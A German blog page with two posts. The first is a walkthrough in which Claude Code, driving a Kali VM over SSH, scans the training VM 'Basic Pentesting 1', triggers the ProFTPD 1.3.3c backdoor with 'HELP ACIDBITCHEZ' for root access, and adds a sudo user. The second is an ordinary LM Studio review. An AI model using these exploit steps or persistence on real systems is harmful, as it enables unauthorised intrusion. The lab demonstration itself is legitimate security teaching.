Normale Ansicht

Hacking / Penetration Testing mit KI-Tools automatisieren

03. Februar 2026 um 09:37

Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.

Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.

Desktop-Screenshot mit zwei laufenden virtuellen Maschinen und einer Terminal-Session links. Im Vordergrund zeigt ein geöffnetes VM-Fenster Kali Linux mit großem KALI-Logo, darüber ein weiteres virtuelles Fenster mit Konsole. Links ist ein Terminal mit Protokollausgaben zu SSH-, sudo- und Benutzeranlegen (newroot) sowie Verweisen auf eine lokale Claude-Code-Installation. Oben mittig ist die Virtuelle Maschinenverwaltung mit Liste der VMs sichtbar.
Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation

Setup

Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.

Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.

Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.

Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.

In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:

# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL

Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.

# Datei .ssh/config auf dem lokalen Rechner
Host kali
  User aiadmin

Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:

fedora$ ssh-copy-id aiadmin@kali

Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).

kali$ sudo passwd -l aiadmin

Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.

Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.

Setup testen

Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.

> There is a Kali Linux installation with hostname kali. 
  Try to connect via SSH. (OK ...)

> Kali can connect to host vtcsec. This is a VM designated 
  for penetration testing. ping to it! (OK ...)
Der Screenshot zeigt ein Terminalfenster mit Claude Code, in dem erste Tests für ein Setup ausgeführt werden. Oben ist die Startseite von „Claude Code v2.1.29“ mit „Welcome back Michael!“ sowie Tipps und „No recent activity“ zu sehen. Darunter werden per Bash SSH-Verbindungen zu „kali“ geprüft und eine erfolgreiche Verbindung ohne Passwort bestätigt. Anschließend zeigt ein Ping auf „vtcsec“ erfolgreiche IPv6-Antworten und 0% Paketverlust.
Erste Prompts um das Setup zu testen

AI Assisted Hacking

Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.

> Now do a proper port scan for vtcsec. Find out what 
  software is running.


  (...) Here's what's running on vtcsec:

  Port  Service  Version
  21    FTP      ProFTPD 1.3.3c
  22    SSH      OpenSSH 7.2p2 (Ubuntu)
  80    HTTP     Apache 2.4.18 (Ubuntu)

  OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.

  Notable observations:

  - ProFTPD 1.3.3c is a notably old version with 
    known vulnerabilities (including a backdoor in 
    certain distributions).
  - OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
  - Only 3 ports open, 997 closed — a fairly minimal attack surface.
Das Bild zeigt einen Terminal-/Chat-Screenshot, in dem ein Port-Scan mit Nmap ausgewertet wird. Oben ist der Bash-Aufruf „sudo nmap -sV -sC -O“ sowie ein Scan-Report für einen Host (192.168.178.48) zu sehen. Darunter listet eine Tabelle offene Ports 21/22/80 mit ProFTPD 1.3.3c, OpenSSH 7.2p2 und Apache 2.4.18. Hinweise nennen veraltete Versionen, Linux/Ubuntu auf QEMU und nur drei offene Ports.
Port-Scan durchführen
> Find exploits for ProFTPD.

  (...) Here are the exploits found for ProFTPD 1.3.3:

  Exploit
  ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
  ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
  ProFTPd 1.3.3c - Compromised Source Backdoor
  ProFTPd IAC 1.3.x - Remote Command Execution
  ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)

  The most relevant one is the backdoor in ProFTPD 1.3.3c - 
  this is the infamous incident where the ProFTPD source code
  was compromised, and a backdoor was inserted. It allows remote 
  command execution by sending HELP ACIDBITCHEZ to the FTP service. 
  There's both a manual exploit and a Metasploit module available.

  Want me to try the backdoor exploit against vtcsec?

Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.

> Yes, try it!

  Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
  Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor 
                            Remote Code Execution
  URL:  https://www.exploit-db.com/exploits/15662
  Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt

  Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
               \nuname -a\nexit\n" | nc -w 5 vtcsec 21')

  The simple netcat approach didn't return command output. 
  Let me try with a proper interactive approach using Metasploit 
  or a Python script.

  Bash(ssh kali 'python3 -c " ..." ')
  Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
  Response: uid=0(root) gid=0(root) groups=0(root)...
  Response: vtcsec
  Response: Linux vtcsec 4.10.0-28-generic

  The backdoor exploit worked. Here's what we got:

  - Access level: uid=0(root) — full root access
  - Hostname: vtcsec
  - Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)

  The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
  remote root shell with zero effort — no credentials, no authentication, 
  just a single FTP command.  Want me to explore the system further or move 
  on to testing the other services?
Der Screenshot zeigt eine Terminal-/Chat-Ausgabe zur Ausnutzung der ProFTPD‑Backdoor in Version 1.3.3c. Beschrieben wird der Trigger über den FTP-Befehl „HELP ACIDBITCHEZ“ und die Suche nach dem passenden Exploit (Exploit‑DB/15662). Anschließend werden Bash-/Netcat- sowie ein Python‑Ansatz ausgeführt. Die Ausgabe bestätigt schließlich Root-Zugriff (uid=0) auf den Host „vtcsec“ samt Kernel/Ubuntu-Version.
ProFTPD-Backdoor ausnutzen

Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!

Screenshot eines Terminal-Protokolls zum Anlegen eines neuen Nutzers und Testen von SSH-Zugriff. Das Bild zeigt Befehle zum Erstellen des Benutzers "newroot" mit Passwort "topSecret", UID/GID 1001 und Shell /bin/bash sowie einen fehlgeschlagenen SSH-Versuch (Error: Exit code 127) wegen fehlendem sshpass. Dazwischen wird sshpass per apt installiert, SSH-Verbindung bestätigt und am Ende sudo-Rechte für den Benutzer ergänzt.
Neuen Benutzer mit sudo-Rechten einrichten

Anmerkungen

Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.

Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.

Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …

Quellen, Links

MCP-Server (optional für KI-Tools, die keinen direkten Kommandoaufruf ermöglichen)

LM Studio

28. Januar 2026 um 09:49

Wer sich dafür interessiert, Sprachmodelle lokal auszuführen, landen unweigerlich bei Ollama. Dieses Open-Source-Projekt macht es zum Kinderspiel, lokale Sprachmodelle herunterzuladen und auszuführen. Die macOS- und Windows-Version haben sogar eine Oberfläche, unter Linux müssen Sie sich mit dem Terminal-Betrieb oder der API begnügen.

Zuletzt machte Ollama allerdings mehr Ärger als Freude. Auf gleich zwei Rechnern mit AMD-CPU/GPU wollte Ollama pardout die GPU nicht nutzen. Auch die neue Umgebungsvariable OLLAMA_VULKAN=1 funktionierte nicht wie versprochen, sondern reduzierte die Geschwindigkeit noch weiter.

Kurz und gut, ich hatte die Nase voll, suchte nach Alternativen und landete bei LM Studio. Ich bin begeistert. Kurz zusammengefasst: LM Studio unterstützt meine Hardware perfekt und auf Anhieb (auch unter Linux), bietet eine Benutzeroberfläche mit schier unendlich viel Einstellmöglichkeiten (wieder: auch unter Linux) und viel mehr Funktionen als Ollama. Was gibt es auszusetzen? Das Programm richtet sich nur bedingt an LLM-Einsteiger, und sein Code untersteht keiner Open-Source-Lizenz. Das Programm darf zwar kostenlos genutzt werden (seit Mitte 2025 auch in Firmen), aber das kann sich in Zukunft ändern.

Der Screenshot zeigt die Anwendung „LM Studio“ mit einem offenen Chat zum Thema „Detecting Magic Squares“. Links ist eine Chat- und Ordnerliste sichtbar, darunter „Python Learning“ und der ausgewählte Eintrag. In der Mitte steht die Unterhaltung mit einer Erklärung zu „nested lists“ und einem Python-Codeblock mit einem 3×3-Grid. Rechts sind Kontext/Model/Program-Einstellungen sowie ein System-Prompt-Editor zu sehen.

Installation unter Linux

Kostenlose Downloads für LM Studio finden Sie unter https://lmstudio.ai. Die Linux-Version wird als sogenanntes AppImage angeboten. Das ist ein spezielles Paketformat, das grundsätzlich eine direkte Ausführung der heruntergeladenen Datei ohne explizite Installation erlaubt. Das funktioniert leider nur im Zusammenspiel mit wenigen Linux-Distributionen auf Anhieb. Bei den meisten Distributionen müssen Sie die Datei nach dem Download explizit als »ausführbar« kennzeichnen. Je nach Distribution müssen Sie außerdem die FUSE-Bibliotheken installieren. (FUSE steht für Filesystem in Userspace und erlaubt die Nutzung von Dateisystem-Images ohne root-Rechte oder sudo.)

Unter Fedora funktioniert es wie folgt:

sudo dnf install fuse-libs         # FUSE-Bibliothek installieren
chmod +x Downloads/*.AppImage      # execute-Bit setzen
Downloads/LM-Studio-<n.n>.AppImage # LM Studio ausführen

Nach dnf install fuse-libs und chmod +x können Sie LM Studio per Doppelklick im Dateimanager starten.

Erste Schritte

Nach dem ersten Start fordert LM Studio Sie auf, ein KI-Modell herunterzuladen. Es macht gleich einen geeigneten Vorschlag. In der Folge laden Sie dieses Modell und können dann in einem Chat-Bereich Prompts eingeben. Die Eingabe und die Darstellung der Ergebnisse sieht ganz ähnlich wie bei populären Weboberflächen aus (also ChatGPT, Claude etc.).

Nachdem Sie sich vergewissert haben, dass LM Studio prinzipiell funktioniert, ist es an der Zeit, die Oberfläche genauer zu erkunden. Grundsätzlich können Sie zwischen drei Erscheinungsformen wählen, die sich an unterschiedliche Benutzergruppen wenden: User, Power User und Developer.

In den letzteren beiden Modi präsentiert sich die Benutzeroberfläche in all ihren Optionen. Es gibt
vier prinzipielle Ansichten, die durch vier Icons in der linken Seitenleiste geöffnet werden:

  • Chats
  • Developer (Logging-Ausgaben, Server-Betrieb)
  • My Models (Verwaltung der heruntergeladenen Sprachmodelle)
  • Discover (Suche und Download weiterer Modelle).

GPU Offload und Kontextlänge einstelln

Sofern Sie mehrere Sprachmodelle heruntergeladen haben, wählen Sie das gewünschte Modell über ein Listenfeld oberhalb des Chatbereichs aus. Bevor der Ladevorgang beginnt, können Sie diverse Optionen einstellen (aktivieren Sie bei Bedarf Show advanced settings). Besonders wichtig sind die Parameter Context Length und GPU Offload.

Die Kontextlänge limitiert die Größe des Kontextspeichers. Bei vielen Modellen gilt hier ein viel zu niedriger Defaultwert von 4000 Token. Das spart Speicherplatz und erhöht die Geschwindigkeit des Modells. Für anspruchsvolle Coding-Aufgaben brauchen Sie aber einen viel größeren Kontext!

Der GPU Offload bestimmt, wie viele Ebenen (Layer) des Modells von der GPU verarbeitet werden sollen. Für die restlichen Ebenen ist die CPU zuständig, die diese Aufgabe aber wesentlich langsamer erledigt. Sofern die GPU über genug Speicher verfügt (VRAM oder Shared Memory), sollten Sie diesen Regler immer ganz nach rechts schieben! LM Studio ist nicht immer in der Lage, die Größe des Shared Memory korrekt abzuschätzen und wählt deswegen mitunter einen zu kleinen GPU Offload.

Der Screenshot zeigt die Grundeinstellungen beim Laden des Sprachmodells „OpenAI’s gpt-oss 120B“. Oben wird der geschätzte Speicherbedarf angezeigt, mit GPU- und Gesamtbedarf von 67,49 GB. Im Bereich „Model file“ sind die Formate MXFP4 und GGUF markiert. Darunter lassen sich Context Length (bis 131072 Tokens, aktuell 69143) und GPU Offload (36/36) per Schieberegler einstellen. Unten sind Optionen zum Merken der Einstellungen sowie der Button „Load Model“.
Grundeinstellungen beim Laden eines Sprachmodells
Der Screenshot zeigt die „My Models“-Ansicht in LM Studio mit einer Liste lokal installierter Sprachmodelle. Oben ist das Models-Verzeichnis „/home/kofler/.lmstudio/models“ sowie ein Suchfeld zum Filtern zu sehen. In der Tabelle werden Architektur, Parameter, Publisher, Modellname, Quantisierung, Größe und Änderungsdatum angezeigt, inklusive Action-Buttons pro Eintrag. Unten steht, dass 6 lokale Modelle insgesamt 202,97 GB belegen.
Überblick über die heruntergeladenen Sprachmodelle

Debugging und Server-Betrieb

In der Ansicht Developer können Sie Logging-Ausgaben lesen. LM Studio verwendet wie Ollama und die meisten anderen KI-Oberflächen das Programm llama.cpp zur Ausführung der lokalen Modelle. Allerdings gibt es von diesem Programm unterschiedliche Versionen für den CPU-Betrieb (langsam) sowie für diverse GPU-Bibliotheken.

In dieser Ansicht können Sie den in LM Studio integrierten REST-Server aktivieren. Damit können Sie z.B. mit eigenen Python-Programmen oder mit dem VS-Code-Plugin Continue Prompts an LM Studio senden und dessen Antwort verarbeiten. Standardmäßig kommt dabei der Port 1234 um Einsatz, wobei der Zugriff auf den lokalen Rechner limitiert ist. In den Server Settings können Sie davon abweichende Einstellungen vornehmen.

Der Screenshot zeigt LM Studio im Developer-Modus mit geöffnetem Dialog „Server Settings“. Links ist der Status „Running“ zu sehen und oben die lokale URL „http://127.0.0.1:1234“, unter der der Server erreichbar ist. Im Einstellungsfenster werden Optionen wie Server-Port, CORS, Local Network sowie Just-in-Time-Model-Loading und Auto-Unload per Schalter konfiguriert. Im Hintergrund laufen Developer-Logs mit Modell- und Tokenizer-Parametern.
Logging-Ausgaben und Server-Optionen
Der Screenshot zeigt das LM‑Studio-Menü „Mission Control“ mit den „Runtime Extension Packs“ unter Linux. Links ist „Runtime“ ausgewählt, in der Mitte werden ROCm-, CPU- und Vulkan‑„llama.cpp“-Engines samt Versionsständen gelistet. Für ROCm gibt es einen „Download and Install“-Button, für CPU ein Update. Rechts sind installierte Pakete und die GGUF‑Engine-Auswahl (Vulkan llama.cpp) sowie Auto‑Update-Optionen sichtbar.
Hinter den Kulissen greift LM Studio auf »llama.cpp« zurück

Praktische Erfahrungen am Framework Desktop

Auf meinem neuen Framework Desktop mit 128 GiB RAM habe ich nun diverse Modelle ausprobiert. Die folgende Tabelle zeigt die erzielte Output-Geschwindigkeit in Token/s. Beachten Sie, dass die Geschwindigkeit spürbar sinkt wenn viel Kontext im Spiel ist (größere Code-Dateien, längerer Chat-Verlauf).

Sprachmodell                  MoE        Parameter    Quant.      Token/s
-------------                 -----     ----------   ---------   --------
deepseek-r1-distill-qwen-14b  nein         14 Mrd.    Q4_K_S           22
devstral-small-2-2512         nein         25 Mrd.    Q4_K_M           13
glm-4.5-air                   ja          110 Mrd.    Q3_K_L           25
gpt-oss-20b                   ja           20 Mrd.    MXFP4            65
gpt-oss-120b                  ja          120 Mrd.    MXFP4            48
nouscoder-14b                 nein         14 Mrd.    Q4_K_S           22
qwen3-30b-a3b                 ja           30 Mrd.    Q4_K_M           70
qwen3-next-80b-83b            ja           80 Mrd.    Q4_K_XL          40
seed-oss-36b                  nein         36 Mrd.    Q4_K_M           10

Normalerweise gilt: je größer das Sprachmodell, desto besser die Qualität, aber desto kleiner die Geschwindigkeit. Ein neuer Ansatz durchbricht dieses Muster. Bei Mixture of Expert-Modellen (MoE-LLMs) gibt es Parameterblöcke für bestimmte Aufgaben. Bei der Berechnung der Ergebnis-Token entscheidet das Modell, welche »Experten« für den jeweiligen Denkschritt am besten geeignet sind, und berücksichtigt nur deren Parameter.

Ein populäres Beispiel ist das freie Modell GPT-OSS-120B. Es umfasst 117 Milliarden Parameter, die in 36 Ebenen (Layer) zu je 128 Experten organisiert sind. Bei der Berechnung jedes Output Tokens sind in jeder Ebene immer nur vier Experten aktiv. Laut der Modelldokumentation sind bei der Token Generation immer nur maximal 5,1 Milliarden Parameter aktiv. Das beschleunigt die Token Generation um mehr als das zwanzigfache:

Welches ist nun das beste Modell? Auf meinem Rechner habe ich mit dem gerade erwähnten Modell GPT-OSS-120B sehr gute Erfahrungen gemacht. Für Coding-Aufgaben funktionieren auch qwen3-next-80b-83b und glm-4.5-air gut, wobei letzteres für den praktischen Einsatz schon ziemlich langsam ist.

Quellen/Links

❌